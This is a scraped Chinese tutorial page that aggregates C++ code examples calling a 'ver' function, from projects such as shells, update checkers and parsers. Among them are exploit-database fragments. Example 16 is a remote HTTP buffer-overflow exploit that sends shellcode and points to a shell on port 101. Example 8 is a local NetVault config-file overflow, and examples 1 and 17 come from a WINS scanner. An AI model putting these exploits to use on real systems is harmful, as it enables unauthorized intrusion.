您当前的位置:首页 > IT编程 > C++
| C语言 | Java | VB | VC | python | Android | TensorFlow | C++ | oracle | 学术与代码 | cnn卷积神经网络 | gnn | 图像修复 | Keras | 数据集 | Neo4j | 自然语言处理 | 深度学习 | 医学CAD | 医学影像 | 超参数 | pointnet | pytorch | 异常检测 | Transformers | 情感分类 | 知识图谱 |

自学教程:C++ ver函数代码示例

51自学网 2021-06-03 09:37:37
  C++
这篇教程C++ ver函数代码示例写得很实用,希望能帮到您。

本文整理汇总了C++中ver函数的典型用法代码示例。如果您正苦于以下问题:C++ ver函数的具体用法?C++ ver怎么用?C++ ver使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。

在下文中一共展示了ver函数的27个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。

示例1: main

/*HS_WINS 192.168.0.0HS_WINS 192.168.0.0 -vHS_WINS 192.168.0.0 -vvHS_WINS 192.168.0.0 192.168.0.255HS_WINS 192.168.0.0 192.168.0.255 -vHS_WINS 192.168.0.0 192.168.0.255 -vvHS_WINS 192.168.0.0 192.168.0.255 1000HS_WINS 192.168.0.0 192.168.0.255 1000 -vHS_WINS 192.168.0.0 192.168.0.255 1000 -vv*/int main(int argc,char *argv[]){	vvv=argv[3],vvv2=argv[4],vvv3=argv[2];	if (argc<2){ver();usage();return -1;}	for (;;)	{		if (argc==2&&strlen(argv[1])>7&&strlen(argv[1])<16||				argc==3&&strlen(argv[1])>7&&strlen(argv[1])<16&&(strcmp(vvv3,"-v")==0||strcmp(vvv3,"-vv")==0)||				argc==3&&strlen(argv[1])>7&&strlen(argv[1])<16&&strlen(argv[2])>7&&strlen(argv[2])<16&&argv[1]!=argv[2]||				argc==4&&strlen(argv[1])>7&&strlen(argv[1])<16&&strlen(argv[2])>7&&strlen(argv[2])<16&&argv[1]!=argv[2]&&(strcmp(vvv,"-v")==0||strcmp(vvv,"-vv")==0)||				argc==4&&strlen(argv[1])>7&&strlen(argv[1])<16&&strlen(argv[2])>7&&strlen(argv[2])<16&&argv[1]!=argv[2]&&atoi(argv[3])>0&&atoi(argv[3])<5000||				argc==5&&strlen(argv[1])>7&&strlen(argv[1])<16&&strlen(argv[2])>7&&strlen(argv[2])<16&&argv[1]!=argv[2]&&atoi(argv[3])>0&&atoi(argv[3])<5000&&(strcmp(vvv2,"-v")==0||strcmp(vvv2,"-vv")==0))				{					if (argc==3&&strcmp(vvv3,"-v")==0||argc==4&&strcmp(vvv,"-v")==0||argc==5&&strcmp(vvv2,"-v")==0){bose++;}					else if (argc==3&&strcmp(vvv3,"-vv")==0||argc==4&&strcmp(vvv,"-vv")==0||argc==5&&strcmp(vvv2,"-vv")==0){bose2++;}					if (argc==2||argc==3&&(strcmp(vvv3,"-v")==0||strcmp(vvv3,"-vv")==0)){ping++;}					engine(argc,argv);break;				}				ver();printf("[+] wrong command line, type HS_WINS without arguments for the usage./n");return -1;	}#ifdef WIN32	WSACleanup();#endif	return 0;}
开发者ID:0x24bin,项目名称:exploit-database,代码行数:36,


示例2: main

int main(int argc, char const *argv[]){	char input[15][30];	int argnum, i;	pid_list.head=NULL;	pid_list.tail=NULL;	enqueue(getppid(),"NEW SHELL",&pid_list);	signal(SIGCHLD,childdead);	signal(SIGTSTP,susp);	signal(SIGQUIT,cont);	setpriority(PRIO_PROCESS,0,-20);	ver();	while (run){		printf("=>");		for (argnum=0; (scanf("%s",&input[argnum]))==1;argnum++)			if (getchar()=='/n') break;		if (strcmp(input[0],"ver")==0 && argnum==0) ver();		else if (strcmp(input[0],"help")==0 && argnum==0) help();		else if (strcmp(input[0],"help")==0 && argnum==1) helpcmd(input[argnum]);		else if (strcmp(input[0],"ps")==0 && argnum==0) ps();		else if (strcmp(input[0],"kill")==0 && argnum==1) mykill(atoi(input[1]));		else if (strcmp(input[0],"exec")==0 && argnum!=0) 			for (i=1; i<=argnum; i++) exec(input[i]);		else if (strcmp(input[0],"exit")==0 && argnum==0) myexit();	    else printf("Nosuch command. Check help for help./n");	}}
开发者ID:dan-olsen,项目名称:ECE593J,代码行数:32,


示例3: ver

bool VersionManager::readSVDFromBuffer(const char* pBuffer,size_t size){	tinyxml2::XMLDocument doc;	tinyxml2::XMLError ret = doc.Parse(pBuffer,size);	if ( ret != tinyxml2::XML_SUCCESS )	{		return false;	}	tinyxml2::XMLElement* pRootElement = doc.RootElement();	if ( pRootElement )	{		for ( tinyxml2::XMLElement* pNode=pRootElement->FirstChildElement();			pNode;			pNode=pNode->NextSiblingElement() )		{			string eleName = pNode->Name();			if ( eleName == "ver" )			{				VersionDef ver(pNode->GetText());				m_svd.ver = ver;			}			else if( eleName == "ip" )			{				m_svd.ip = pNode->GetText();			}			else if( eleName == "port" )			{				m_svd.port = StringConverter::toInt(pNode->GetText());			}			else if( eleName == "debug" )			{				m_debug = StringConverter::toInt(pNode->GetText());			}			if ( eleName == "ver_d" )			{				VersionDef ver(pNode->GetText());				m_svd_d.ver = ver;			}			else if( eleName == "ip_d" )			{				m_svd_d.ip = pNode->GetText();			}			else if( eleName == "port_d" )			{				m_svd_d.port = StringConverter::toInt(pNode->GetText());			}		}		return true;	}	return false;}
开发者ID:SmallRaindrop,项目名称:LocatorApp,代码行数:54,


示例4: try_prerelease_roll_forward_in_dir

void try_prerelease_roll_forward_in_dir(const pal::string_t& cur_dir, const fx_ver_t& start_ver, pal::string_t* max_str){    pal::string_t path = cur_dir;    if (trace::is_enabled())    {        pal::string_t start_str = start_ver.as_str();        trace::verbose(_X("Reading prerelease roll forward candidates in dir [%s] for version [%s]"), path.c_str(), start_str.c_str());    }    pal::string_t maj_min_pat_star = start_ver.prerelease_glob();    std::vector<pal::string_t> list;    pal::readdir(path, maj_min_pat_star, &list);    fx_ver_t max_ver = start_ver;    fx_ver_t ver(-1, -1, -1);    for (const auto& str : list)    {        trace::verbose(_X("Considering prerelease roll forward candidate version [%s]"), str.c_str());        if (fx_ver_t::parse(str, &ver, false)            && ver.is_prerelease()) // Pre-release can roll forward to only pre-release        {            max_ver = std::max(ver, max_ver);        }    }    max_str->assign(max_ver.as_str());    if (trace::is_enabled())    {        pal::string_t start_str = start_ver.as_str();        trace::verbose(_X("Prerelease roll forwarded [%s] -> [%s] in [%s]"), start_str.c_str(), max_str->c_str(), path.c_str());    }}
开发者ID:krwq,项目名称:cli,代码行数:34,


示例5: main

main (){         int opc;        top = -1;        do{         printf ("/n/n/n");         printf ("1. METER EN LA PILA (PUSH)/n/n");         printf ("2. SACAR DE LA PILA (POP)/n/n");         printf ("3. VER LA PILA/n/n");         printf ("4. SALIR/n");         printf ("/n $$$$$$$$$$$$$$$$$$$$$$$$$$$$ /n");         printf ("  Escoja una opcion /n");         scanf("%d", &opc);         printf("/n/n");         switch (opc){          case 1 : push();           break;          case 2: pop();           break;          case 3: ver();           break;          case 4:                return;           break;                  }                      } while (opc != 4);}
开发者ID:Petafloper,项目名称:pilaestaticaenc,代码行数:27,


示例6: bputs

void sbbs_t::sys_info(){	char	tmp[128];	uint	i;	stats_t stats;	bputs(text[SiHdr]);	getstats(&cfg,0,&stats);	bprintf(text[SiSysName],cfg.sys_name);	bprintf(text[SiSysID],cfg.sys_id);	/* QWK ID */	for(i=0;i<cfg.total_faddrs;i++)		bprintf(text[SiSysFaddr],smb_faddrtoa(&cfg.faddr[i],tmp));	if(cfg.sys_psname[0])				/* PostLink/PCRelay */		bprintf(text[SiSysPsite],cfg.sys_psname,cfg.sys_psnum);	bprintf(text[SiSysLocation],cfg.sys_location);	bprintf(text[SiSysop],cfg.sys_op);	bprintf(text[SiSysNodes],cfg.sys_nodes);//	bprintf(text[SiNodeNumberName],cfg.node_num,cfg.node_name);	bprintf(text[SiNodePhone],cfg.node_phone);	bprintf(text[SiTotalLogons],ultoac(stats.logons,tmp));	bprintf(text[SiLogonsToday],ultoac(stats.ltoday,tmp));	bprintf(text[SiTotalTime],ultoac(stats.timeon,tmp));	bprintf(text[SiTimeToday],ultoac(stats.ttoday,tmp));	ver();	if(yesno(text[ViewSysInfoFileQ])) {		CLS;		sprintf(tmp,"%ssystem.msg", cfg.text_dir);		printfile(tmp,0); 	}	if(yesno(text[ViewLogonMsgQ])) {		CLS;		menu("logon"); 	}}
开发者ID:ftnapps,项目名称:pkg-sbbs,代码行数:34,


示例7: main

     main (){         int opc;        do{         printf ("/n/n/n");         printf ("1. METER EN LA COLA/n/n");         printf ("2. SACAR DE LA COLA/n/n");         printf ("3. VER COLA/n/n");         printf ("4. SALIR/n");         printf ("/n $$$$$$$$$$$$$$$$$$$$$$$$$$$$ /n");         printf ("  Escoja una opcion /n");         scanf("%d", &opc);         printf("/n/n");         switch (opc){          case 1 : insertar();           break;          case 2: eliminar();           break;          case 3: ver();           break;          case 4:                return;           break;                  }                      } while (opc != 4);}
开发者ID:Petafloper,项目名称:colaestaticaenc,代码行数:26,


示例8: main

int main(int argc,char *argv[]){ver();if (argc>5||argc<2||atoi(argv[1])>2||atoi(argv[1])<1){usage(argv[0]);return -1;}if (check(argc,argv)==-1){return -1;}while (!feof(fl)){fgets(line, sizeof(line),fl);if (strstr(line,vul)){i++;j++;}if (i==2){strcpy(line,vul);memset(line+5,0x90,600);memcpy(line+252,esp,4);memcpy(line+16,fun,32);memcpy(line+260,scode1,strlen(scode1));memcpy(line+605,EOL,2);i=0;j++;}strcat(payload,line);}if (strstr(payload,vul)==NULL||j==1){printf("[+] /"%s/" isn't a default NetVault file../n",fp);return -1;}if (check2()==1){fprintf(fl,"%s",payload);printf("[+] /"%s/" correctly exploited/n",fp);printf("[+] a service restart is needed to execute the payload/n");}else printf("[+] can't write to /"%s/", something is wrong.../n",fp);return 0;}
开发者ID:0x24bin,项目名称:exploit-database,代码行数:31,


示例9: ver

QString toOracleConnectionSub::version(){    QString ver("%1%2");    return ver           .arg((int)_login->_server.versionNumber(), 2, 10, QChar('0'))           .arg((int)_login->_server.releaseNumber(), 2, 10, QChar('0'));}
开发者ID:nguyentienlong,项目名称:tora,代码行数:7,


示例10: cl

voidCommandEventHandler::handleLine(std::string line){  Logger::instance()->log("Recvd line: " + line);  CommandLine cl(line);  if (cl.cmd.empty())    return;  std::string result(agentWarn("unknown command"));  if (cl.cmd.compare("cat") == 0)    result = cat(cl.args);  else if (cl.cmd.compare("cd") == 0)    result = cd(cl.args);  else if (cl.cmd.compare("cwd") == 0)    result = cwd(cl.args);  else if (cl.cmd.compare("clok") == 0)    result = clok(cl.args);  else if (cl.cmd.compare("dirw") == 0)    result = dirw(cl.args);  else if (cl.cmd.compare("exec") == 0)    result = exec(cl.args);  else if (cl.cmd.compare("hash") == 0)    result = hash(cl.args);  else if (cl.cmd.compare("info") == 0)    result = info(cl.args);  else if (cl.cmd.compare("ps") == 0)    result = ps(cl.args);  else if (cl.cmd.compare("pull") == 0)    result = pull(cl.args);  else if (cl.cmd.compare("push") == 0)    result = push(cl.args);  else if (cl.cmd.compare("isdir") == 0)    result = isDir(cl.args);  else if (cl.cmd.compare("ls") == 0)    result = ls(cl.args);  else if (cl.cmd.compare("mkdr") == 0)    result = mkdr(cl.args);  else if (cl.cmd.compare("quit") == 0)    result = quit(cl.args);  else if (cl.cmd.compare("rebt") == 0)    result = rebt(cl.args);  else if (cl.cmd.compare("rm") == 0)    result = rm(cl.args);  else if (cl.cmd.compare("rmdr") == 0)    result = rmdr(cl.args);  else if (cl.cmd.compare("testroot") == 0)    result = testroot(cl.args);  else if (cl.cmd.compare("ver") == 0)    result = ver(cl.args);  if (!mBufSocket.sendClosed() && !mDataEventHandler)  {    // FIXME: It appears that DeviceManager will get confused if    // the prompt isn't sent with the response for some commands.    // I think this is a bug in DeviceManager, but it needs to be    // further investigated.    result += std::string(ENDL);    result += mPrompt;    mBufSocket.write(result.c_str(), result.size() + 1);  }}
开发者ID:ahal,项目名称:nicholas-cAgent,代码行数:59,


示例11: DYNAMIC_DOWNCAST

void CMainDialog::InitializeDisplay(void){	CCrashReporterApp* pApp = DYNAMIC_DOWNCAST(CCrashReporterApp, AfxGetApp());	ASSERT_VALID(pApp);	m_Banner.SetTextColor(RGB(0,0,0));	m_Banner.SetBackgroundColor(RGB(255,255,255));	m_Banner.SetBold(TRUE);	// get path to exe that crashed - we assume it is in same directory	CString strExe = m_szModulePath;	strExe += pApp->m_strUpdateItExe;	// get version resource	CMiniVersion ver(strExe);	TCHAR szBuf[1000];	szBuf[0] = _T('/0');	// try to get description	ver.GetFileDescription(szBuf, _countof(szBuf)-2);	// if that failed try to get product name	if (szBuf[0] == _T('/0'))		ver.GetProductName(szBuf, _countof(szBuf)-2);	ver.Release();	// if that failed just use exe name	if (szBuf[0] == _T('/0'))		_tcscpy(szBuf, pApp->m_strUpdateItExe);	SetWindowText(szBuf);	CString strBanner;	strBanner.Format(_T("%s has encountered a problem and needs to close.  ")					 _T("We are sorry for the inconvenience."),					 szBuf);	m_Banner.SetWindowText(strBanner);	m_Banner.SetMargins(22, 8);	// get icon of crashed app	HICON hIcon = ::ExtractIcon(AfxGetInstanceHandle(), strExe, 0);	m_Icon.SetBackgroundColor(RGB(255,255,255), FALSE);	if (hIcon)		m_Icon.SetIcon(hIcon, FALSE);	m_PleaseTellUs.SetBold(TRUE);	m_What.SetLimitText(128*1024);	// set edit box to 128 KB    m_ClickHere.SetColours(m_ClickHere.GetLinkColour(),						   RGB(0,0,255), 						   m_ClickHere.GetHoverColour());	m_ClickHere.EnableURL(FALSE);	m_ClickHere.EnableTooltip(FALSE);	m_ClickHere.SetNotifyParent(TRUE);}
开发者ID:zephyrer,项目名称:update-it,代码行数:59,


示例12: ver

void App::onUpdateCheckFinished(QNetworkReply* reply){    QRegularExpression ver("(//d+)//.(//d+)//.(//d+)([a-z]|)");    if (!ver.match(GITTAG).hasMatch())    {        QMessageBox::critical(NULL, "Update error",                              "<b>Update error:</b><br>"                              "Current build is not tagged to any particular version.");        return;    }    auto current = ver.match(GITTAG).capturedTexts();    if (reply->error() != QNetworkReply::NoError)    {        QMessageBox::critical(NULL, "Update error",                              "<b>Update error:</b><br>"                              "Connection failed.");        return;    }    QJsonParseError err;    auto out = QJsonDocument::fromJson(reply->readAll(), &err);    if (err.error != QJsonParseError::NoError)    {        QMessageBox::critical(NULL, "Update error",                              "<b>Update error:</b><br>"                              "Could not parse JSON file.");        return;    }    auto latest = out.array()[0].toObject();    auto update = ver.match(latest["tag_name"].toString()).capturedTexts();    bool available = false;    // Check for numerical superiority    for (int i=1; i < 4; ++i)        if (current[i].toInt() < update[i].toInt())            available = true;    // Check for bug-fix release    if (!update[4].isEmpty() && (current[4].isEmpty() ||                                 current[4] < update[4]))        available = true;    if (available)        QMessageBox::information(NULL, "Update available", QString(                                     "<b>Update available:</b><br>"                                     "This is version %1<br>"                                     "Version "                                     "<a href=/"https://github.com/mkeeter/antimony/releases/%2/">"                                     "%2</a> is available.").arg(current[0])                                 .arg(update[0]));    else        QMessageBox::information(NULL, "No update available",                                 "No update is available at this time.");}
开发者ID:hansstam,项目名称:antimony,代码行数:58,


示例13: name

/* virtual */ opera_update_checker::status::Status OAUCRequestImpl::AddProductUpdatePart(const UpdateDataProvider& provider){  try  {    if (!document_.RootElement())    {      document_.Parse(update_request_root);      if (document_.Error())        return opera_update_checker::status::StatusCode::FAILED;    }    TiXmlDocument temp;    TIXML_STRING name(provider.GetProductName() ? provider.GetProductName() : "");    TIXML_STRING encoded_name;    TIXML_STRING ver(provider.GetProductVersion() ? provider.GetProductVersion() : "");    TIXML_STRING encoded_ver;    TIXML_STRING lang(provider.GetProductLanguage() ? provider.GetProductLanguage() : "");    TIXML_STRING encoded_lang;    document_.EncodeString(name, &encoded_name);    document_.EncodeString(ver, &encoded_ver);    document_.EncodeString(lang, &encoded_lang);    sprintf(shared_work_buffer,            update_product_part_template,            encoded_name.c_str() ? encoded_name.c_str() : "",            encoded_ver.c_str() ? encoded_ver.c_str() : "",            encoded_lang.c_str() ? encoded_lang.c_str() : "");      temp.Parse(shared_work_buffer);      if (temp.Error())        return opera_update_checker::status::StatusCode::FAILED;      OAUC_ASSERT(document_.RootElement() && document_.RootElement()->FirstChildElement());      TiXmlElement* child = document_.RootElement()->FirstChildElement();      while (opera_update_checker::system_utils::SystemUtils::strnicmp(child->Value(), "product", 7) != 0)      {        child = child->NextSiblingElement();        OAUC_ASSERT(child);      }      TiXmlElement* elm = temp.RootElement();      do      {        child->InsertEndChild(*elm);        elm = elm->NextSiblingElement();      } while (elm);      if (TiXmlElement* products = product_res_document_.RootElement())        child->InsertEndChild(*products);  }  catch (...)  {    return opera_update_checker::status::StatusCode::OOM;  }  return opera_update_checker::status::StatusCode::OK;}
开发者ID:prestocore,项目名称:browser,代码行数:58,


示例14: intfc

TInt CAudioOutputControlTestClass::SetDRMConfigIntfc( CStifItemParser& aItem ){	TPtrC object;	TInt error = KErrNone;	TInt err = CMultimediaFactory::CreateFactory(iFactorys);	if(error == KErrNone)        {        iLog->Log(_L("CMultimediaFactory::CreateFactory OK"));        }    else        {        iLog->Log(_L("CMultimediaFactory::CreateFactory [%d]"),error);        }	error = iFactorys->CreateSourceControl( KDataBufferSourceControl, iSourceControl );    if(error == KErrNone)        {        iMDataBufferSource = static_cast<MDataBufferSource*>(iSourceControl);        }	if(error != KErrNone)        {        iLog->Log(_L("CreateSourceControl [%d]"),error);        }	if (iMDataBufferSource)        {        if (iDRMConfigIntfc)            {            delete iDRMConfigIntfc;            iDRMConfigIntfc = NULL;            }        TAny* intfc(NULL);        TVersion ver(KDRMConfigIntfcMajorVer1, KDRMConfigIntfcMinorVer1, KDRMConfigIntfcBuildVer1);        TInt status = iMDataBufferSource->GetInterface(KDRMConfigIntfc,                                                      ver,                                                      intfc);        if (status == KErrNone)            {            iDRMConfigIntfc = (CDRMConfigIntfc*)intfc;            }        }	error = iAudioOutputControlUtility->SetDRMConfigIntfc(iDRMConfigIntfc);    if(error == KErrNone)        {    	FTRACE(FPrint(_L("CAudioOutputControlTestClass::SetDRMConfigIntfc ")));    	iLog->Log(_L("CAudioOutputControlTestClass::SetDRMConfigIntfc "));		}	else		{    	FTRACE(FPrint(_L("CAudioOutputControlTestClass::SetDRMConfigIntfc Error [%d]"),error));    	iLog->Log(_L("CAudioOutputControlTestClass::SetDRMConfigIntfc Error [%d]"),error);		}	return error;}
开发者ID:kuailexs,项目名称:symbiandump-mw2,代码行数:58,


示例15: unpack_boolean

static inline boolunpack_boolean(serial_context *ser_cont, bool in, as_val **out){	if (VERBOSE) {		ver("%sBoolean %s", indent(ser_cont), in ? "true" : "false");	}	return unpack_integer(ser_cont, in ? 1 : 0, out);}
开发者ID:aerospike,项目名称:aerospike-tools-backup,代码行数:9,


示例16: main

int main(int argc,char *argv[]){	ver();	if ((argc<3)||(argc>4)||(atoi(argv[1])<1)||(atoi(argv[1])>2)){usage(argv[0]);return -1;}	if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){cout<<"[+] wsastartup error: "<<WSAGetLastError()<<endl;return -1;}	int ip=htonl(inet_addr(argv[2])), sz, port, sizeA, sizeB, sizeC, a, b, c;	char *target, *os;	if (argc==4){port=atoi(argv[3]);}	else port=80;	if (atoi(argv[1]) == 1){target=espxp1en;os="WinXP SP1 English";}	if (atoi(argv[1]) == 2){target=esp2k4en;os="Win2k SP4 English";}	if (atoi(argv[1]) == 3){target=espnt6en;os="WinNT SP6 English";}	SOCKET s;	struct fd_set mask;	struct timeval timeout; 	struct sockaddr_in server;	s=socket(AF_INET,SOCK_STREAM,0);	if (s==INVALID_SOCKET){ cout<<"[+] socket() error: "<<WSAGetLastError()<<endl;WSACleanup();return -1;}	cout<<"[+] target: "<<os<<endl;				server.sin_family=AF_INET;	server.sin_addr.s_addr=htonl(ip);	server.sin_port=htons(port);	WSAConnect(s,(struct sockaddr *)&server,sizeof(server),NULL,NULL,NULL,NULL);	timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);	switch(select(s+1,NULL,&mask,NULL,&timeout))	{		case -1: {cout<<"[+] select() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;}		case 0: {cout<<"[+] connection failed."<<endl;closesocket(s);return -1;}		default:		if(FD_ISSET(s,&mask))		{			cout<<"[+] connected, constructing the payload..."<<endl;			Sleep(1000);			sizeA=1787;			sizeB=414-sizeof(scode);			sizeC=10;			sz=sizeA+sizeB+sizeC+sizeof(scode)+17;			memset(payload,0,sizeof(payload));			strcat(payload,"GET ");			for (a=0;a<sizeA;a++){strcat(payload,"/x41");}			strcat(payload,target);			for (b=0;b<sizeB;b++){strcat(payload,"/x41");}			strcat(payload,scode);			for (c=0;c<sizeC;c++){strcat(payload,"/x41");}			strcat(payload," HTTP/1.1/r/n/r/n");			Sleep(1000);		    if (send(s,payload,strlen(payload),0)==SOCKET_ERROR) { cout<<"[+] sending error, the server prolly rebooted."<<endl;return -1;}			Sleep(1000);			cout<<"[+] size of payload: "<<sz<<endl;						cout<<"[+] payload send, connect the port 101 to get a shell."<<endl;			return 0;		}	}	closesocket(s);	WSACleanup();	return 0;}
开发者ID:atassumer,项目名称:Python-Exploit-Search-Tool,代码行数:57,


示例17: engine

int engine(int argc,char *argv[]){	ver();	if (chk()==-1){ver();printf("[+] WARNING! can't create/write HS_WINS.txt, aborting../n");return -1;}	ipstart=htonl(inet_addr(argv[1]));	if (ping==1){ipstop=htonl(inet_addr(argv[1]));}	else ipstop=htonl(inet_addr(argv[2]));	if (ipstart>ipstop){printf("[+] wrong command line, type HS_WINS without arguments for the usage./n");return -1;}	fprintf(fplog,"----------------------------------------------------------------------------/nCOMMAND: ");	for (int argccmp=0;argccmp<argc;argccmp++){fprintf(fplog,"%s ", argv[argccmp]);}	fprintf(fplog,"/n----------------------------------------------------------------------------/n/n");	fflush(fplog);	if (argc==4&&bose==0&&bose2==0||argc==5){thread=atoi(argv[3]);}	else thread=200;	scan=(ipstop-ipstart)+1;	for (tip=ipstart;ipstart<=ipstop;ipstart++,tip++,nub++,mthread++,scanend++)	{		if (tip%256==0||tip%256==-1){scanend--;scan--;nub--;mthread--;continue;}		for (;;){if (mthread>=thread){sl(4);}		else break;}//		sl(1);#ifdef WIN32		CWinThread* pthread=AfxBeginThread(engine2,LPVOID(tip));#else		pthread_create(&pthread,NULL,engine2,(void*)tip);#endif		if (se>20){printf("[+] too many socket errors, check your system configuration, aborting../n");break;}	}#ifdef WIN32	for(;;){		if (done2>25){printf("[+] status..: %d%s thread(s):%d (freezing, supposed done..)       /n",(scanend)*100/(scan),pcent,mthread);break;}		if (mthread!=0){sl(1);printf("[+] status..: %d%s thread(s):%d       /r",(scanend)*100/(scan),pcent,mthread);		if (mthread==mfreeze&&(mthread!=0||mfreeze!=0)){done2++;}else{mfreeze=mthread;}continue;}		else {printf("[+] status..: %d%s thread(s):%d       /n",(scanend)*100/(scan),pcent,mthread);break;}	}#endif	printf("[+] results.: %d / %d IP(s) (open:%d wins:%d win2003:%d win2000:%d nt4:%d)/n",ok,nub,ok2,ok3,k3,k0,t4);	fprintf(fplog,"----------------------------------------------------------------------------/n");	fprintf(fplog,"Scan complete: %d / %d IP(s) (open:%d wins:%d win2003:%d win2000:%d nt4:%d)/n",ok,nub,ok2,ok3,k3,k0,t4);	fprintf(fplog,"------------------------------------------------[class101.org 2004-2005]----/n/n/n");	fflush(fplog);	return 0;}
开发者ID:0x24bin,项目名称:exploit-database,代码行数:43,


示例18: ver

CSession2* CDummyServer::NewSessionL(const TVersion& aVersion,const RMessage2& /*aMessage*/) const    {    TVersion ver(KCountServMajorVersionNumber,KCountServMinorVersionNumber,KCountServBuildVersionNumber);        if (!User::QueryVersionSupported(ver,aVersion))    	{     	User::Leave(KErrNotSupported);      	}    return new (ELeave) CDummyServerSession;    }
开发者ID:cdaffara,项目名称:symbiandump-mw2,代码行数:10,


示例19: kulloAssert

bool Signer::verify(        const std::vector<unsigned char> &data,        const std::vector<unsigned char> &signature,        const PublicKey &key) const{    kulloAssert(key.type() == AsymmetricKeyType::Signature);    Botan::PK_Verifier ver(*key.p->pubkey, EMSA);    return ver.verify_message(data, signature);}
开发者ID:kullo,项目名称:client-libkullo,代码行数:10,


示例20: ver

/** * * Create new server session. * * @param	"const TVersion &aVersion" *			Server version (required) * * @return	"CSharableSession*" *			The created server session. * * @xxxx * */CMmfIpcSession* CTestFrameworkServer::NewSessionL(const TVersion &aVersion) const{    TVersion ver(KTestFrameworkServerMajorVersionNumber,                 KTestFrameworkServerMinorVersionNumber,                 KTestFrameworkServerBuildVersionNumber);    if (!User::QueryVersionSupported(ver, aVersion))        User::Leave(KErrNotSupported);    // make new session    return new(ELeave) CTestFrameworkServerSession();}
开发者ID:kuailexs,项目名称:symbiandump-os1,代码行数:23,


示例21: _versions

Package::Package(): _versions(max_t){	for(int t=0; t < max_t; t++)	{		Version::Ptr ver(new Version);		ver->set_time(t);		_versions[t] = ver;	}}
开发者ID:Recmo,项目名称:depgraph,代码行数:10,


示例22: unpack_nil

static inline boolunpack_nil(serial_context *ser_cont, as_val **out){	if (VERBOSE) {		ver("%sNIL", indent(ser_cont));	}	*out = (as_val *)&as_nil;	return true;}
开发者ID:aerospike,项目名称:aerospike-tools-backup,代码行数:10,


示例23: GetGroup

SVAPI_APIOBJECT	GetGroup(string groupid,string user,string addr){	if(groupid.empty()||user.empty()||addr.empty())		return INVALID_VALUE;	if(user.size()>MAXUSERLEN)		return INVALID_VALUE;	S_UINT ver(0);	return GetGroupWithVer(groupid,user,addr,ver);}
开发者ID:SiteView,项目名称:eccmeteor,代码行数:11,


示例24: GetSVSE

SVAPI_API OBJECT	GetSVSE(string id,string user,string addr){	if(atoi(id.c_str())<=0)		return INVALID_VALUE;	if(user.empty()||addr.empty())		return INVALID_VALUE;	S_UINT ver(0);	return GetSVSEWithVer(id, user, addr, ver);}
开发者ID:SiteView,项目名称:eccmeteor,代码行数:11,


示例25: ver

wxString MusikApp::ReadOldVersionFile(){	wxTextFile ver( MUSIK_VERSION_FILENAME );	wxString sRet;	if ( ver.Open() )	{		if ( ver.GetLineCount() != 0 )			sRet = ver.GetLine( 0 );		ver.Close();	}	return sRet;}
开发者ID:BackupTheBerlios,项目名称:musik-svn,代码行数:12,


示例26: fill_version

void fill_version( U64 & version ){	version_t & ver( *(version_t *)&version );		std::tm data = NSSubWCRevProject::TimeNow;	ver.time = std::mktime( &data );	ver.project = NSSubWCRevProject::Revision;	ver.library = NSSubWCRevLib::Revision;#ifdef FOR_DEBUG	ver.project |= 0x8000;#endif}
开发者ID:MuhamIR,项目名称:geochi_izmel,代码行数:12,


示例27: Tag

  Tag* Capabilities::tag() const  {    if( !m_valid || m_node.empty() )      return 0;    Tag* t = new Tag( "c" );    t->setXmlns( XMLNS_CAPS );    t->addAttribute( "hash", m_hash );    t->addAttribute( "node", m_node );    t->addAttribute( "ver", ver() );    return t;  }
开发者ID:Barrett17,项目名称:Caya,代码行数:12,



注:本文中的ver函数示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


C++ verbose函数代码示例
C++ velocity函数代码示例
万事OK自学网:51自学网_软件自学网_CAD自学网自学excel、自学PS、自学CAD、自学C语言、自学css3实例,是一个通过网络自主学习工作技能的自学平台,网友喜欢的软件自学网站。